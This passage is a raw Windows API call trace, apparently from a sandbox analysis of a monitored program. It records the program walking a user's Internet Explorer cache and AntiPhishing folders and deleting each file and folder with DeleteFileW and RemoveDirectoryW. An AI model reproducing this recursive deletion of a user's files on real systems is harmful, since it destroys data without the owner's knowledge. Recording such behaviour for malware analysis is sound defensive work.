returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat" [0098.214] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat")) returned 1 [0098.214] FindNextFileW (in: hFindFile=0x71e9c00, lpFindFileData=0x9a6e500 | out: lpFindFileData=0x9a6e500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc77207e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77207e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77207e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x47f94, dwReserved0=0x360030, dwReserved1=0x390030, cFileName="2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat", cAlternateFileName="2CEDBF~1.DAT")) returned 0 [0098.214] FindClose (in: hFindFile=0x71e9c00 | out: hFindFile=0x71e9c00) returned 1 [0098.214] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e500 | out: hHeap=0x9770000) returned 1 [0098.214] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e430 | out: hHeap=0x9770000) returned 1 [0098.214] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0098.214] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\antiphishing")) returned 1 [0098.214] FindNextFileW (in: hFindFile=0x72013f0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8919bd40, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0xc6a7b300, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6a7b300, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490056, dwReserved1=0x490053, cFileName="Content.IE5", cAlternateFileName="")) returned 1 [0098.214] lstrlenW (lpString="Content.IE5") returned 11 [0098.214] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low", pszFile="Content.IE5" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5" [0098.214] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5") returned 90 [0098.214] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e220 [0098.214] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xbe) returned 0x9a6e430 [0098.214] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e500 [0098.214] PathCombineW (in: pszDest=0x9a6e430, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\*.*" [0098.214] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\*.*", lpFindFileData=0x9a6e500 | out: lpFindFileData=0x9a6e500*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8919bd40, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0xc6a7b300, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6a7b300, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x360030, dwReserved1=0x390030, cFileName=".", cAlternateFileName="")) returned 0x71e9c00 [0098.215] FindNextFileW (in: hFindFile=0x71e9c00, lpFindFileData=0x9a6e500 | out: lpFindFileData=0x9a6e500*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8919bd40, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0xc6a7b300, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6a7b300, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x360030, dwReserved1=0x390030, cFileName="..", cAlternateFileName="")) returned 1 [0098.215] FindNextFileW (in: hFindFile=0x71e9c00, lpFindFileData=0x9a6e500 | out: lpFindFileData=0x9a6e500*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xb9a12d80, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb9a12d80, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x360030, dwReserved1=0x390030, cFileName="1WL4SQRT", cAlternateFileName="")) returned 1 [0098.215] lstrlenW (lpString="1WL4SQRT") returned 8 [0098.215] PathCombineW (in: pszDest=0x9a6e220, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5", pszFile="1WL4SQRT" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT" [0098.215] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT") returned 99 [0098.215] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91840 [0098.215] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xd0) returned 0x9a91a50 [0098.215] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91b30 [0098.215] PathCombineW (in: pszDest=0x9a91a50, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\*.*" [0098.215] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\*.*", lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xb9a12d80, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb9a12d80, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300032, dwReserved1=0x370031, cFileName=".", cAlternateFileName="")) returned 0x71e97e0 [0098.333] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xb9a12d80, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb9a12d80, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="..", cAlternateFileName="")) returned 1 [0098.398] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1154140, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1154140, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1284c40, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xa9fe, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="000000929118[1].gif", cAlternateFileName="000000~1.GIF")) returned 1 [0098.398] lstrlenW (lpString="000000929118[1].gif") returned 19 [0098.399] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="000000929118[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\000000929118[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\000000929118[1].gif" [0098.400] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\000000929118[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\000000929118[1].gif")) returned 1 [0098.408] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7805020, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7805020, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc782b180, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x253df, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="11-b6a7e6-91cdfbc1[1].txt", cAlternateFileName="11-B6A~1.TXT")) returned 1 [0098.408] lstrlenW (lpString="11-b6a7e6-91cdfbc1[1].txt") returned 25 [0098.408] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="11-b6a7e6-91cdfbc1[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\11-b6a7e6-91cdfbc1[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\11-b6a7e6-91cdfbc1[1].txt" [0098.408] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\11-b6a7e6-91cdfbc1[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\11-b6a7e6-91cdfbc1[1].txt")) returned 1 [0098.605] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09e3c80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd09e3c80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd09e3c80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="1[1].gif", cAlternateFileName="1_1_~1.GIF")) returned 1 [0098.606] lstrlenW (lpString="1[1].gif") returned 8 [0098.606] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="1[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\1[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\1[1].gif" [0098.607] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\1[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\1[1].gif")) returned 1 [0098.629] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1bbfc1c0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1bbfc1c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1bbfc1c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x103f, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="2532[1].js", cAlternateFileName="2532_1~1.JS")) returned 1 [0098.629] lstrlenW (lpString="2532[1].js") returned 10 [0098.629] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="2532[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\2532[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\2532[1].js" [0098.629] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\2532[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\2532[1].js")) returned 1 [0098.645] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19c71e40, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x19c71e40, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x19c71e40, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2f06, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="3_3_ino_smarthome_performance_728x90-default[1].gif", cAlternateFileName="3_3_IN~1.GIF")) returned 1 [0098.649] lstrlenW (lpString="3_3_ino_smarthome_performance_728x90-default[1].gif") returned 51 [0098.651] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="3_3_ino_smarthome_performance_728x90-default[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\3_3_ino_smarthome_performance_728x90-default[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\3_3_ino_smarthome_performance_728x90-default[1].gif" [0098.653] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\3_3_ino_smarthome_performance_728x90-default[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\3_3_ino_smarthome_performance_728x90-default[1].gif")) returned 1 [0098.708] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcba5f560, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcba5f560, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcba5f560, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1254, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243782100[1]", cAlternateFileName="6144_K~2")) returned 1 [0098.708] lstrlenW (lpString="6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243782100[1]") returned 158 [0098.712] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243782100[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243782100[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243782100[1]" [0098.712] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243782100[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\6144;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede12;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243782100[1]")) returned 1 [0098.758] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcba5f560, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcba5f560, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcba5f560, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x8bf, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243782100[1]", cAlternateFileName="6144_K~1")) returned 1 [0098.758] lstrlenW (lpString="6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243782100[1]") returned 158 [0098.758] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243782100[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243782100[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243782100[1]" [0098.758] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243782100[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\6144;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1c;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243782100[1]")) returned 1 [0098.766] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf4c3940, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf4c3940, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf4c3940, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1252, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243794042[1]", cAlternateFileName="6858_K~1")) returned 1 [0098.766] lstrlenW (lpString="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243794042[1]") returned 158 [0098.766] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243794042[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243794042[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243794042[1]" [0098.766] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243794042[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\6858;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1d;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243794042[1]")) returned 1 [0098.807] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xceed4890, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xceed4890, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcef42660, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x5edc8, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="7962161087[1].js", cAlternateFileName="796216~1.JS")) returned 1 [0098.807] lstrlenW (lpString="7962161087[1].js") returned 16 [0098.807] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="7962161087[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\7962161087[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\7962161087[1].js" [0098.807] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\7962161087[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\7962161087[1].js")) returned 1 [0098.807] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc2da3c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc2da3c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc2da3c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AA3e1pt[1].png", cAlternateFileName="AA3E1P~1.PNG")) returned 1 [0098.808] lstrlenW (lpString="AA3e1pt[1].png") returned 14 [0098.808] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="AA3e1pt[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 